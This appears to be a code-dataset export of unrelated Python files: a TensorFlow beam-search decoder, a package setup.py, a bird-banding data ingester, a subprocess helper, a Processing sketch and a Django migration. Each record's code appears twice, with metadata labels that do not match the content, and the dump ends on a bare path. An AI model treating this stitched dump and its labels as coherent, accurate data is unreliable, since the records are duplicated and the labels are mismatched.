``decoder_loop_state`` - The loop state of the underlying autoregressive decoder, as returned from the initial call to the body function. Returns: A populated ``BeamSearchLoopState`` structure. """ # Get the initial loop state of the underlying decoder. Then, expand # the tensors from the loop state to (batch * beam) and inject them # back into the decoder loop state. dec_init_ls = self.parent_decoder.get_initial_loop_state() feedables = tf.contrib.framework.nest.map_structure( self.expand_to_beam, dec_init_ls.feedables) histories = tf.contrib.framework.nest.map_structure( lambda x: self.expand_to_beam(x, dim=1), dec_init_ls.histories) constants = tf.constant(0) if dec_init_ls.constants: constants = tf.contrib.framework.nest.map_structure( self.expand_to_beam, dec_init_ls.constants) dec_init_ls = dec_init_ls._replace( feedables=feedables, histories=histories, constants=constants) # Call the decoder body function with the expanded loop state to get # the log probabilities of the possible first tokens. decoder_body = self.parent_decoder.get_body(False) dec_next_ls = decoder_body(*dec_init_ls) # Construct the initial loop state of the beam search decoder. To allow # ensembling, the values are replaced with placeholders with a default # value. Despite this is necessary only for variables that grow in # time, the placeholder replacement is done on the whole structures, as # you can see below. search_state = SearchState( logprob_sum=tf.tile( tf.expand_dims([0.0] + [-INF] * (self.beam_size - 1), 0), [self.batch_size, 1], name="bs_logprob_sum"), prev_logprobs=tf.reshape( tf.nn.log_softmax(dec_next_ls.feedables.prev_logits), [self.batch_size, self.beam_size, len(self.vocabulary)]), lengths=tf.zeros( [self.batch_size, self.beam_size], dtype=tf.int32, name="bs_lengths"), finished=tf.zeros( [self.batch_size, self.beam_size], dtype=tf.bool)) # We add the input_symbol to token_ids during search_results # initialization for simpler beam_body implementation search_results = SearchResults( scores=tf.zeros( shape=[self.batch_size, self.beam_size], dtype=tf.float32, name="beam_scores"), token_ids=tf.reshape( feedables.input_symbol, [1, self.batch_size, self.beam_size], name="beam_tokens")) # In structures that contain tensors that grow in time, we replace # tensors with placeholders with loosened shape constraints in the time # dimension. dec_next_ls = tf.contrib.framework.nest.map_structure( lambda x: tf.placeholder_with_default( x, get_state_shape_invariants(x)), dec_next_ls) search_results = tf.contrib.framework.nest.map_structure( lambda x: tf.placeholder_with_default( x, get_state_shape_invariants(x)), search_results) return BeamSearchLoopState( search_state=search_state, search_results=search_results, decoder_loop_state=dec_next_ls) def loop_continue_criterion(self, *args) -> tf.Tensor: """Decide whether to break out of the while loop. The criterion for stopping the loop is that either all hypotheses are finished or a maximum number of steps has been reached. Here the number of steps is the number of steps of the underlying decoder minus one, because this function is evaluated after the decoder step has been called and its step has been incremented. This is caused by the fact that we call the decoder body function at the end of the beam body function. (And that, in turn, is to support ensembling.) Arguments: args: A ``BeamSearchLoopState`` instance. Returns: A scalar boolean ``Tensor``. """ loop_state = BeamSearchLoopState(*args) beam_step = loop_state.decoder_loop_state.feedables.step - 1 finished = loop_state.search_state.finished max_step_cond = tf.less(beam_step, self.max_steps) unfinished_cond = tf.logical_not(tf.reduce_all(finished)) return tf.logical_and(max_step_cond, unfinished_cond) def decoding_loop(self) -> BeamSearchOutput: """Create the decoding loop. This function mimics the behavior of the ``decoding_loop`` method of the ``AutoregressiveDecoder``, except the initial loop state is created outside this method because it is accessed and fed during ensembling. TODO: The ``finalize_loop`` method and the handling of attention loop states might be implemented in the future. Returns: This method returns a populated ``BeamSearchOutput`` object. """ final_loop_state = tf.while_loop( self.loop_continue_criterion, self.get_body(), self.initial_loop_state, shape_invariants=tf.contrib.framework.nest.map_structure( get_state_shape_invariants, self.initial_loop_state)) # TODO: return att_loop_states properly return BeamSearchOutput( last_search_step_output=final_loop_state.search_results, last_dec_loop_state=final_loop_state.decoder_loop_state, last_search_state=final_loop_state.search_state, attention_loop_states=[]) def get_body(self) -> Callable[[Any], BeamSearchLoopState]: """Return a body function for ``tf.while_loop``. Returns: A function that performs a single decoding step. """ decoder_body = self.parent_decoder.get_body(train_mode=False) # pylint: disable=too-many-locals def body(*args: Any) -> BeamSearchLoopState: """Execute a single beam search step. An implementation of the beam search algorithm, which works as follows: 1. Create a valid ``logprobs`` tensor which contains distributions over the output tokens for each hypothesis in the beam. For finished hypotheses, the log probabilities of all tokens except the padding token are set to negative infinity. 2. Expand the beam by appending every possible token to every existing hypothesis. Update the log probabilitiy sum of each hypothesis and its length (add one for unfinished hypotheses). For each hypothesis, compute the score using the length penalty term. 3. Select the ``beam_size`` best hypotheses from the score pool. This is implemented by flattening the scores tensor and using the ``tf.nn.top_k`` function. 4. Reconstruct the beam by gathering elements from the original data structures using the data indices computed in the previous step. 5. Call the ``body`` function of the underlying decoder. 6. Populate a new ``BeamSearchLoopState`` object with the selected values and with the newly obtained decoder loop state. Note that this function expects the decoder to be called at least once prior the first execution. Arguments: args: An instance of the ``BeamSearchLoopState`` structure. (see the docs for this module) Returns: A ``BeamSearchLoopState`` after one step of the decoding. """ loop_state = BeamSearchLoopState(*args) dec_loop_state = loop_state.decoder_loop_state search_state = loop_state.search_state search_results = loop_state.search_results # mask the probabilities # shape(logprobs) = [batch, beam, vocabulary] logprobs = search_state.prev_logprobs finished_mask = tf.expand_dims( tf.to_float(search_state.finished), 2) unfinished_logprobs = (1. - finished_mask) * logprobs finished_row = tf.one_hot( PAD_TOKEN_INDEX, len(self.vocabulary), dtype=tf.float32, on_value=0., off_value=-INF) finished_logprobs = finished_mask * finished_row logprobs = unfinished_logprobs + finished_logprobs # update hypothesis scores # shape(hyp_probs) = [batch, beam, vocabulary] hyp_probs = tf.expand_dims(search_state.logprob_sum, 2) + logprobs # update hypothesis lengths hyp_lengths = search_state.lengths + 1 - tf.to_int32( search_state.finished) # shape(scores) = [batch, beam, vocabulary] scores = hyp_probs / tf.expand_dims( self._length_penalty(hyp_lengths), 2) # reshape to [batch, beam * vocabulary] for topk scores_flat = tf.reshape( scores, [-1, self.beam_size * len(self.vocabulary)]) # shape(both) = [batch, beam] topk_scores, topk_indices = tf.nn.top_k( scores_flat, k=self.beam_size) topk_indices.set_shape([None, self.beam_size]) topk_scores.set_shape([None, self.beam_size]) next_word_ids = tf.mod(topk_indices, len(self.vocabulary)) next_beam_ids = tf.div(topk_indices, len(self.vocabulary)) # batch offset for tf.gather_nd batch_offset = tf.tile( tf.expand_dims(tf.range(self.batch_size), 1), [1, self.beam_size]) batch_beam_ids = tf.stack([batch_offset, next_beam_ids], axis=2) # gather the topk logprob_sums next_beam_lengths = tf.gather_nd(hyp_lengths, batch_beam_ids) next_beam_logprob_sum = tf.gather_nd( tf.reshape( hyp_probs, [-1, self.beam_size * len(self.vocabulary)]), tf.stack([batch_offset, topk_indices], axis=2)) # mark finished beams next_finished = tf.gather_nd(search_state.finished, batch_beam_ids) next_just_finished = tf.equal(next_word_ids, END_TOKEN_INDEX) next_finished = tf.logical_or(next_finished, next_just_finished) # we need to flatten the feedables for the parent_decoder next_feedables = tf.contrib.framework.nest.map_structure( lambda x: gather_flat(x, batch_beam_ids, self.batch_size, self.beam_size), dec_loop_state.feedables) next_feedables = next_feedables._replace( input_symbol=tf.reshape(next_word_ids, [-1]), finished=tf.reshape(next_finished, [-1])) # histories have shape [len, batch, ...] def gather_fn(x): return partial_transpose( gather_flat( partial_transpose(x, [1, 0]), batch_beam_ids, self.batch_size, self.beam_size), [1, 0]) next_histories = tf.contrib.framework.nest.map_structure( gather_fn, dec_loop_state.histories) dec_loop_state = dec_loop_state._replace( feedables=next_feedables, histories=next_histories) # CALL THE DECODER BODY FUNCTION next_loop_state = decoder_body(*dec_loop_state) next_search_state = SearchState( logprob_sum=next_beam_logprob_sum, prev_logprobs=tf.reshape( tf.nn.log_softmax(next_loop_state.feedables.prev_logits), [self.batch_size, self.beam_size, len(self.vocabulary)]), lengths=next_beam_lengths, finished=next_finished) next_token_ids = tf.transpose(search_results.token_ids, [1, 2, 0]) next_token_ids = tf.gather_nd(next_token_ids, batch_beam_ids) next_token_ids = tf.transpose(next_token_ids, [2, 0, 1]) next_output = SearchResults( scores=topk_scores, token_ids=append_tensor(next_token_ids, next_word_ids)) return BeamSearchLoopState( search_state=next_search_state, search_results=next_output, decoder_loop_state=next_loop_state) # pylint: enable=too-many-locals return body def _length_penalty(self, lengths: tf.Tensor) -> tf.Tensor: """Apply length penalty ("lp") term from Eq. 14. https://arxiv.org/pdf/1609.08144.pdf Arguments: lengths: A ``Tensor`` of lengths of the hypotheses in the beam. Returns: A float ``Tensor`` with the length penalties for each hypothesis in the beam. """ return ((5. + tf.to_float(lengths)) / 6.) ** self.length_normalization def expand_to_beam(self, val: tf.Tensor, dim: int = 0) -> tf.Tensor: """Copy a tensor along a new beam dimension. Arguments: val: The ``Tensor`` to expand. dim: The dimension along which to expand. Usually, the batch axis. Returns: The expanded tensor. """ orig_shape = get_shape_list(val) if val.shape.ndims == 0: return val orig_shape[dim] *= self.beam_size tile_shape = [1] * (len(orig_shape) + 1) tile_shape[dim + 1] = self.beam_size val = tf.tile(tf.expand_dims(val, 1), tile_shape) val = tf.reshape(val, orig_shape) return val

pt

setup.py

CBDRH/cdeid

13575

<gh_stars>0 from setuptools import setup, find_packages with open('README.md', "r") as f: readme = f.read() with open('LICENSE') as f: license_content = f.read() setup( name='cdeid', version='0.1.2', author='<NAME>', author_email='<EMAIL>', description='A Customized De-identification framework', long_description_content_type='text/markdown', long_description=readme, url='https://github.com/CBDRH/cdeid', keywords=['DE-IDENTIFICATION', 'NLP'], install_requires=[ 'spaCy>=2.3.2', 'stanza>=1.1.1', 'flair==0.8', 'mako>=1.1.3' ], packages=find_packages(exclude=('tests', 'docs')), classifiers=[ 'Development Status :: 3 - Alpha', 'Programming Language :: Python :: 3', 'License :: OSI Approved :: Apache Software License', 'Operating System :: OS Independent', ], python_requires='>=3.7' )

from setuptools import setup, find_packages with open('README.md', "r") as f: readme = f.read() with open('LICENSE') as f: license_content = f.read() setup( name='cdeid', version='0.1.2', author='<NAME>', author_email='<EMAIL>', description='A Customized De-identification framework', long_description_content_type='text/markdown', long_description=readme, url='https://github.com/CBDRH/cdeid', keywords=['DE-IDENTIFICATION', 'NLP'], install_requires=[ 'spaCy>=2.3.2', 'stanza>=1.1.1', 'flair==0.8', 'mako>=1.1.3' ], packages=find_packages(exclude=('tests', 'docs')), classifiers=[ 'Development Status :: 3 - Alpha', 'Programming Language :: Python :: 3', 'License :: OSI Approved :: Apache Software License', 'Operating System :: OS Independent', ], python_requires='>=3.7' )

none

pylib/bbl_ingest.py

rafelafrance/sightings-database

13576

"""Ingest USGS Bird Banding Laboratory data.""" from pathlib import Path import pandas as pd from . import db, util DATASET_ID = 'bbl' RAW_DIR = Path('data') / 'raw' / DATASET_ID BANDING = RAW_DIR / 'Banding' ENCOUNTERS = RAW_DIR / 'Encounters' RECAPTURES = RAW_DIR / 'Recaptures' SPECIES = RAW_DIR / 'species.html' ONE_MIN = 111.32 * 1000 TEN_MIN = 111.32 * 1000 * 10 EXACT = 0 def ingest(): """Ingest USGS Bird Banding Laboratory data.""" db.delete_dataset_records(DATASET_ID) to_taxon_id = get_taxa() db.insert_dataset({ 'dataset_id': DATASET_ID, 'title': 'Bird Banding Laboratory (BBL)', 'version': '2020.0', 'url': ('https://www.usgs.gov/centers/pwrc/science/' 'bird-banding-laboratory')}) to_place_id = {} to_place_id = insert_banding_data(to_place_id, to_taxon_id) to_place_id = insert_encounter_data( ENCOUNTERS, to_place_id, to_taxon_id, 'encounter') insert_encounter_data(RECAPTURES, to_place_id, to_taxon_id, 'recapture') def get_taxa(): """Build a taxa table to link to our taxa.""" codes = pd.read_html(str(SPECIES))[0] codes = codes.rename(columns={ 'Scientific Name': 'sci_name', 'Species Number': 'species_id'}) codes = codes[codes['sci_name'].notna()] codes = codes.set_index('sci_name')['species_id'].to_dict() sql = """SELECT taxon_id, sci_name FROM taxa WHERE "class"='aves';""" taxa = pd.read_sql(sql, db.connect()) taxa = taxa.set_index('sci_name')['taxon_id'].to_dict() to_taxon_id = {str(v).zfill(4): i for k, v in codes.items() if (i := taxa.get(k))} return to_taxon_id def insert_banding_data(to_place_id, to_taxon_id): """Insert raw banding data.""" util.log(f'Inserting {DATASET_ID} banding data') for path in sorted(BANDING.glob('*.csv')): util.log(f'File {path}') df = read_csv( path, 'LON_DECIMAL_DEGREES', 'LAT_DECIMAL_DEGREES', 'banding') df = filter_data( df, to_taxon_id, 'BANDING_DATE', 'SPECIES_ID', 'COORD_PRECISION') to_place_id = insert_places(df, to_place_id, 'COORD_PRECISION') event_json = """ BAND_NUM BANDING_DATE TYPE """.split() insert_events(df, event_json) count_json = """ AGE_CODE SEX_CODE SPECIES_ID SPECIES_NAME TYPE """.split() insert_counts(df, count_json) return to_place_id def insert_encounter_data(dir_, to_place_id, to_taxon_id, type_): """Insert raw encounter and recapture data.""" util.log(f'Inserting {DATASET_ID} {type_} data') for path in sorted(dir_.glob('*.csv')): util.log(f'File {path}') df = read_csv( path, 'E_LON_DECIMAL_DEGREES', 'E_LAT_DECIMAL_DEGREES', type_) df = filter_data( df, to_taxon_id, 'ENCOUNTER_DATE', 'B_SPECIES_ID', 'E_COORD_PRECISION') to_place_id = insert_places(df, to_place_id, 'E_COORD_PRECISION') event_json = """ BAND_NUM ENCOUNTER_DATE TYPE """.split() insert_events(df, event_json) count_json = """ B_AGE_CODE B_SEX_CODE B_SPECIES_ID B_SPECIES_NAME MIN_AGE_AT_ENC ORIGINAL_BAND TYPE """.split() insert_counts(df, count_json) return to_place_id def read_csv(path, lng, lat, type_): """Read in a CSV file.""" df = pd.read_csv(path, dtype='unicode').fillna('') util.normalize_columns_names(df) df = df.rename(columns={lng: 'lng', lat: 'lat'}) df['TYPE'] = type_ df['dataset_id'] = DATASET_ID return df def filter_data(df, to_taxon_id, event_date, species_id, coord_precision): """Remove records that will not work for our analysis.""" df['date'] = pd.to_datetime(df[event_date], errors='coerce') has_date = df['date'].notna() # Check if the scientific name is in our database df['taxon_id'] = df[species_id].map(to_taxon_id) has_taxon_id = df['taxon_id'].notna() # Country and state are too big of an area too_big = df[coord_precision].isin(['12', '72']) df = df.loc[~too_big & has_taxon_id & has_date] return df def insert_places(df, to_place_id, coord_precision): """Insert place records.""" util.filter_lng_lat(df, 'lng', 'lat') df['radius'] = TEN_MIN df.loc[df[coord_precision] == '0', 'radius'] = EXACT df.loc[df[coord_precision].isin(['1', '60']), 'radius'] = ONE_MIN df['place_key'] = tuple(zip(df.lng, df.lat, df.radius)) places = df.drop_duplicates('place_key') old_places = places['place_key'].isin(to_place_id) places = places[~old_places] places['place_id'] = db.create_ids(places, 'places') places['place_json'] = util.json_object(places, [coord_precision]) places.loc[:, db.PLACE_FIELDS].to_sql( 'places', db.connect(), if_exists='append', index=False) new_place_ids = places.set_index('place_key')['place_id'].to_dict() to_place_id = {**to_place_id, **new_place_ids} df['place_id'] = df['place_key'].map(to_place_id) return to_place_id def insert_events(df, event_json): """Insert event records.""" df['event_id'] = db.create_ids(df, 'events') df['year'] = df['date'].dt.strftime('%Y') df['day'] = df['date'].dt.strftime('%j') df['started'] = None df['ended'] = None df['event_json'] = util.json_object(df, event_json) df.loc[:, db.EVENT_FIELDS].to_sql( 'events', db.connect(), if_exists='append', index=False) def insert_counts(df, count_json): """Insert count records.""" df['count_id'] = db.create_ids(df, 'counts') df['count'] = 1 df['count_json'] = util.json_object(df, count_json) df.loc[:, db.COUNT_FIELDS].to_sql( 'counts', db.connect(), if_exists='append', index=False) if __name__ == '__main__': ingest()

"""Ingest USGS Bird Banding Laboratory data.""" from pathlib import Path import pandas as pd from . import db, util DATASET_ID = 'bbl' RAW_DIR = Path('data') / 'raw' / DATASET_ID BANDING = RAW_DIR / 'Banding' ENCOUNTERS = RAW_DIR / 'Encounters' RECAPTURES = RAW_DIR / 'Recaptures' SPECIES = RAW_DIR / 'species.html' ONE_MIN = 111.32 * 1000 TEN_MIN = 111.32 * 1000 * 10 EXACT = 0 def ingest(): """Ingest USGS Bird Banding Laboratory data.""" db.delete_dataset_records(DATASET_ID) to_taxon_id = get_taxa() db.insert_dataset({ 'dataset_id': DATASET_ID, 'title': 'Bird Banding Laboratory (BBL)', 'version': '2020.0', 'url': ('https://www.usgs.gov/centers/pwrc/science/' 'bird-banding-laboratory')}) to_place_id = {} to_place_id = insert_banding_data(to_place_id, to_taxon_id) to_place_id = insert_encounter_data( ENCOUNTERS, to_place_id, to_taxon_id, 'encounter') insert_encounter_data(RECAPTURES, to_place_id, to_taxon_id, 'recapture') def get_taxa(): """Build a taxa table to link to our taxa.""" codes = pd.read_html(str(SPECIES))[0] codes = codes.rename(columns={ 'Scientific Name': 'sci_name', 'Species Number': 'species_id'}) codes = codes[codes['sci_name'].notna()] codes = codes.set_index('sci_name')['species_id'].to_dict() sql = """SELECT taxon_id, sci_name FROM taxa WHERE "class"='aves';""" taxa = pd.read_sql(sql, db.connect()) taxa = taxa.set_index('sci_name')['taxon_id'].to_dict() to_taxon_id = {str(v).zfill(4): i for k, v in codes.items() if (i := taxa.get(k))} return to_taxon_id def insert_banding_data(to_place_id, to_taxon_id): """Insert raw banding data.""" util.log(f'Inserting {DATASET_ID} banding data') for path in sorted(BANDING.glob('*.csv')): util.log(f'File {path}') df = read_csv( path, 'LON_DECIMAL_DEGREES', 'LAT_DECIMAL_DEGREES', 'banding') df = filter_data( df, to_taxon_id, 'BANDING_DATE', 'SPECIES_ID', 'COORD_PRECISION') to_place_id = insert_places(df, to_place_id, 'COORD_PRECISION') event_json = """ BAND_NUM BANDING_DATE TYPE """.split() insert_events(df, event_json) count_json = """ AGE_CODE SEX_CODE SPECIES_ID SPECIES_NAME TYPE """.split() insert_counts(df, count_json) return to_place_id def insert_encounter_data(dir_, to_place_id, to_taxon_id, type_): """Insert raw encounter and recapture data.""" util.log(f'Inserting {DATASET_ID} {type_} data') for path in sorted(dir_.glob('*.csv')): util.log(f'File {path}') df = read_csv( path, 'E_LON_DECIMAL_DEGREES', 'E_LAT_DECIMAL_DEGREES', type_) df = filter_data( df, to_taxon_id, 'ENCOUNTER_DATE', 'B_SPECIES_ID', 'E_COORD_PRECISION') to_place_id = insert_places(df, to_place_id, 'E_COORD_PRECISION') event_json = """ BAND_NUM ENCOUNTER_DATE TYPE """.split() insert_events(df, event_json) count_json = """ B_AGE_CODE B_SEX_CODE B_SPECIES_ID B_SPECIES_NAME MIN_AGE_AT_ENC ORIGINAL_BAND TYPE """.split() insert_counts(df, count_json) return to_place_id def read_csv(path, lng, lat, type_): """Read in a CSV file.""" df = pd.read_csv(path, dtype='unicode').fillna('') util.normalize_columns_names(df) df = df.rename(columns={lng: 'lng', lat: 'lat'}) df['TYPE'] = type_ df['dataset_id'] = DATASET_ID return df def filter_data(df, to_taxon_id, event_date, species_id, coord_precision): """Remove records that will not work for our analysis.""" df['date'] = pd.to_datetime(df[event_date], errors='coerce') has_date = df['date'].notna() # Check if the scientific name is in our database df['taxon_id'] = df[species_id].map(to_taxon_id) has_taxon_id = df['taxon_id'].notna() # Country and state are too big of an area too_big = df[coord_precision].isin(['12', '72']) df = df.loc[~too_big & has_taxon_id & has_date] return df def insert_places(df, to_place_id, coord_precision): """Insert place records.""" util.filter_lng_lat(df, 'lng', 'lat') df['radius'] = TEN_MIN df.loc[df[coord_precision] == '0', 'radius'] = EXACT df.loc[df[coord_precision].isin(['1', '60']), 'radius'] = ONE_MIN df['place_key'] = tuple(zip(df.lng, df.lat, df.radius)) places = df.drop_duplicates('place_key') old_places = places['place_key'].isin(to_place_id) places = places[~old_places] places['place_id'] = db.create_ids(places, 'places') places['place_json'] = util.json_object(places, [coord_precision]) places.loc[:, db.PLACE_FIELDS].to_sql( 'places', db.connect(), if_exists='append', index=False) new_place_ids = places.set_index('place_key')['place_id'].to_dict() to_place_id = {**to_place_id, **new_place_ids} df['place_id'] = df['place_key'].map(to_place_id) return to_place_id def insert_events(df, event_json): """Insert event records.""" df['event_id'] = db.create_ids(df, 'events') df['year'] = df['date'].dt.strftime('%Y') df['day'] = df['date'].dt.strftime('%j') df['started'] = None df['ended'] = None df['event_json'] = util.json_object(df, event_json) df.loc[:, db.EVENT_FIELDS].to_sql( 'events', db.connect(), if_exists='append', index=False) def insert_counts(df, count_json): """Insert count records.""" df['count_id'] = db.create_ids(df, 'counts') df['count'] = 1 df['count_json'] = util.json_object(df, count_json) df.loc[:, db.COUNT_FIELDS].to_sql( 'counts', db.connect(), if_exists='append', index=False) if __name__ == '__main__': ingest()

en

pyhdtoolkit/utils/cmdline.py

fsoubelet/PyhDToolk

13577

<reponame>fsoubelet/PyhDToolk<filename>pyhdtoolkit/utils/cmdline.py """ Module utils.cmdline -------------------- Created on 2019.11.06 :author: <NAME> (<EMAIL>) Utility script to help run commands and access the commandline. """ import errno import os import signal import subprocess from typing import Mapping, Optional, Tuple from loguru import logger from pyhdtoolkit.utils.contexts import timeit class CommandLine: """ A high-level object to encapsulate the different methods for interacting with the commandline. """ @staticmethod def check_pid_exists(pid: int) -> bool: """ Check whether the given PID exists in the current process table. Args: pid (int): the Process ID you want to check. Returns: A boolean stating the result. """ if pid == 0: # According to "man 2 kill", PID 0 refers to <<every process in the process group of # the calling process>>. Best not to go any further. logger.warning("PID 0 refers to 'every process in calling processes', and should be untouched") return True try: # Sending SIG 0 only checks if process has terminated, we're not actually terminating it os.kill(pid, 0) except OSError as pid_checkout_error: if pid_checkout_error.errno == errno.ESRCH: # ERROR "No such process" return False if ( pid_checkout_error.errno == errno.EPERM ): # ERROR "Operation not permitted" -> there's a process to deny access to. return True # According to "man 2 kill" possible error values are (EINVAL, EPERM, ESRCH), therefore # we should never get here. If so let's be explicit in considering this an error. logger.exception("Could not figure out the provided PID for some reason") raise return True @staticmethod def run( command: str, shell: bool = True, env: Mapping = None, timeout: float = None ) -> Tuple[Optional[int], bytes]: """ Run command based on `subprocess.Popen` and return the tuple of `(returncode, stdout)`. Note that `stderr` is redirected to `stdout`. `shell` is same to parameter of `Popen`. If the process does not terminate after `timeout` seconds, a `TimeoutExpired` exception will be raised. Args: command (str): string, the command you want to run. shell (bool): same as `Popen` argument. Setting the shell argument to a true value causes subprocess to spawn an intermediate shell process, and tell it to run the command. In other words, using an intermediate shell means that variables, glob patterns, and other special shell features in the command string are processed before the command is ran. Defaults to True. env (Mapping): mapping that defines the environment variables for the new process. timeout (float): same as `Popen.communicate` argument, number of seconds to wait for a response before raising a TimeoutExpired exception. Returns: The tuple of (returncode, stdout). Beware, the stdout will be a byte array (id est b'some returned text'). This output, returned as stdout, needs to be decoded properly before you do anything with it, especially if you intend to log it into a file. While it will most likely be 'utf-8', the encoding can vary from system to system so the standard output is returned in bytes format and should be decoded later on. Usage: CommandLine.run('echo hello') -> (0, b'hello\r\n') modified_env = os.environ.copy() modified_env['ENV_VAR'] = new_value CommandLine.run('echo $ENV_VAR', env=modified_env) -> (0, b'new_value') """ with timeit( lambda spanned: logger.info(f"Ran command '{command}' in a subprocess, in: {spanned:.4f} seconds") ): process = subprocess.Popen( command, shell=shell, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env ) stdout, _ = process.communicate(timeout=timeout) if process.poll() != 0: logger.warning(f"Subprocess command '{command}' finished with exit code: {process.poll()}") else: logger.success(f"Subprocess command '{command}' finished with exit code: {process.poll()}") return process.poll(), stdout @staticmethod def terminate(pid: int) -> bool: """ Terminate process by given pid. On Other platforms, using os.kill with signal.SIGTERM to kill. Args: pid (int): the process ID to kill. Returns: A boolean stating the success of the operation. """ if CommandLine.check_pid_exists(pid): os.kill(pid, signal.SIGTERM) logger.debug(f"Process {pid} has successfully been terminated.") return True logger.error(f"Process with ID {pid} could not be terminated.") return False

""" Module utils.cmdline -------------------- Created on 2019.11.06 :author: <NAME> (<EMAIL>) Utility script to help run commands and access the commandline. """ import errno import os import signal import subprocess from typing import Mapping, Optional, Tuple from loguru import logger from pyhdtoolkit.utils.contexts import timeit class CommandLine: """ A high-level object to encapsulate the different methods for interacting with the commandline. """ @staticmethod def check_pid_exists(pid: int) -> bool: """ Check whether the given PID exists in the current process table. Args: pid (int): the Process ID you want to check. Returns: A boolean stating the result. """ if pid == 0: # According to "man 2 kill", PID 0 refers to <<every process in the process group of # the calling process>>. Best not to go any further. logger.warning("PID 0 refers to 'every process in calling processes', and should be untouched") return True try: # Sending SIG 0 only checks if process has terminated, we're not actually terminating it os.kill(pid, 0) except OSError as pid_checkout_error: if pid_checkout_error.errno == errno.ESRCH: # ERROR "No such process" return False if ( pid_checkout_error.errno == errno.EPERM ): # ERROR "Operation not permitted" -> there's a process to deny access to. return True # According to "man 2 kill" possible error values are (EINVAL, EPERM, ESRCH), therefore # we should never get here. If so let's be explicit in considering this an error. logger.exception("Could not figure out the provided PID for some reason") raise return True @staticmethod def run( command: str, shell: bool = True, env: Mapping = None, timeout: float = None ) -> Tuple[Optional[int], bytes]: """ Run command based on `subprocess.Popen` and return the tuple of `(returncode, stdout)`. Note that `stderr` is redirected to `stdout`. `shell` is same to parameter of `Popen`. If the process does not terminate after `timeout` seconds, a `TimeoutExpired` exception will be raised. Args: command (str): string, the command you want to run. shell (bool): same as `Popen` argument. Setting the shell argument to a true value causes subprocess to spawn an intermediate shell process, and tell it to run the command. In other words, using an intermediate shell means that variables, glob patterns, and other special shell features in the command string are processed before the command is ran. Defaults to True. env (Mapping): mapping that defines the environment variables for the new process. timeout (float): same as `Popen.communicate` argument, number of seconds to wait for a response before raising a TimeoutExpired exception. Returns: The tuple of (returncode, stdout). Beware, the stdout will be a byte array (id est b'some returned text'). This output, returned as stdout, needs to be decoded properly before you do anything with it, especially if you intend to log it into a file. While it will most likely be 'utf-8', the encoding can vary from system to system so the standard output is returned in bytes format and should be decoded later on. Usage: CommandLine.run('echo hello') -> (0, b'hello\r\n') modified_env = os.environ.copy() modified_env['ENV_VAR'] = new_value CommandLine.run('echo $ENV_VAR', env=modified_env) -> (0, b'new_value') """ with timeit( lambda spanned: logger.info(f"Ran command '{command}' in a subprocess, in: {spanned:.4f} seconds") ): process = subprocess.Popen( command, shell=shell, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env ) stdout, _ = process.communicate(timeout=timeout) if process.poll() != 0: logger.warning(f"Subprocess command '{command}' finished with exit code: {process.poll()}") else: logger.success(f"Subprocess command '{command}' finished with exit code: {process.poll()}") return process.poll(), stdout @staticmethod def terminate(pid: int) -> bool: """ Terminate process by given pid. On Other platforms, using os.kill with signal.SIGTERM to kill. Args: pid (int): the process ID to kill. Returns: A boolean stating the success of the operation. """ if CommandLine.check_pid_exists(pid): os.kill(pid, signal.SIGTERM) logger.debug(f"Process {pid} has successfully been terminated.") return True logger.error(f"Process with ID {pid} could not be terminated.") return False

pt

sketches/noll/noll.pyde

kantel/processingpy

13578

<reponame>kantel/processingpy from random import randint margin = 5 def setup(): size(400, 600) this.surface.setTitle("Re-Enactment A. <NAME>") noLoop() def draw(): background(235, 215, 182) strokeWeight(2) x1 = randint(margin, width - margin) y1 = randint(margin, height - margin) for _ in range(50): x2 = randint(margin, width - margin) y2 = randint(margin, height - margin) line(x1, y1, x1, y2) line(x1, y2, x2, y2) x1 = x2 y1 = y2

from random import randint margin = 5 def setup(): size(400, 600) this.surface.setTitle("Re-Enactment A. <NAME>") noLoop() def draw(): background(235, 215, 182) strokeWeight(2) x1 = randint(margin, width - margin) y1 = randint(margin, height - margin) for _ in range(50): x2 = randint(margin, width - margin) y2 = randint(margin, height - margin) line(x1, y1, x1, y2) line(x1, y2, x2, y2) x1 = x2 y1 = y2

none

minimalist_cms/cms_content/migrations/0004_auto_20190719_1242.py

wullerot/django-minimalist-cms

13579

# Generated by Django 2.1.10 on 2019-07-19 12:42 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('contenttypes', '0002_remove_content_type_name'), ('cms_content', '0003_auto_20190719_1232'), ] operations = [ migrations.AlterModelOptions( name='element', options={'ordering': ['position'], 'verbose_name': 'Element', 'verbose_name_plural': 'Element'}, ), migrations.AddField( model_name='container', name='content_type', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='contenttypes.ContentType', verbose_name='Content type'), ), migrations.AddField( model_name='container', name='object_id', field=models.PositiveIntegerField(blank=True, null=True, verbose_name='Object ID'), ), ]

# Generated by Django 2.1.10 on 2019-07-19 12:42 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('contenttypes', '0002_remove_content_type_name'), ('cms_content', '0003_auto_20190719_1232'), ] operations = [ migrations.AlterModelOptions( name='element', options={'ordering': ['position'], 'verbose_name': 'Element', 'verbose_name_plural': 'Element'}, ), migrations.AddField( model_name='container', name='content_type', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='contenttypes.ContentType', verbose_name='Content type'), ), migrations.AddField( model_name='container', name='object_id', field=models.PositiveIntegerField(blank=True, null=True, verbose_name='Object ID'), ), ]

es

original-paas/copy_to_container/www/spdpaas/src/celeryApp/celeryConfig.py

yishan1331/docker-practice

13580

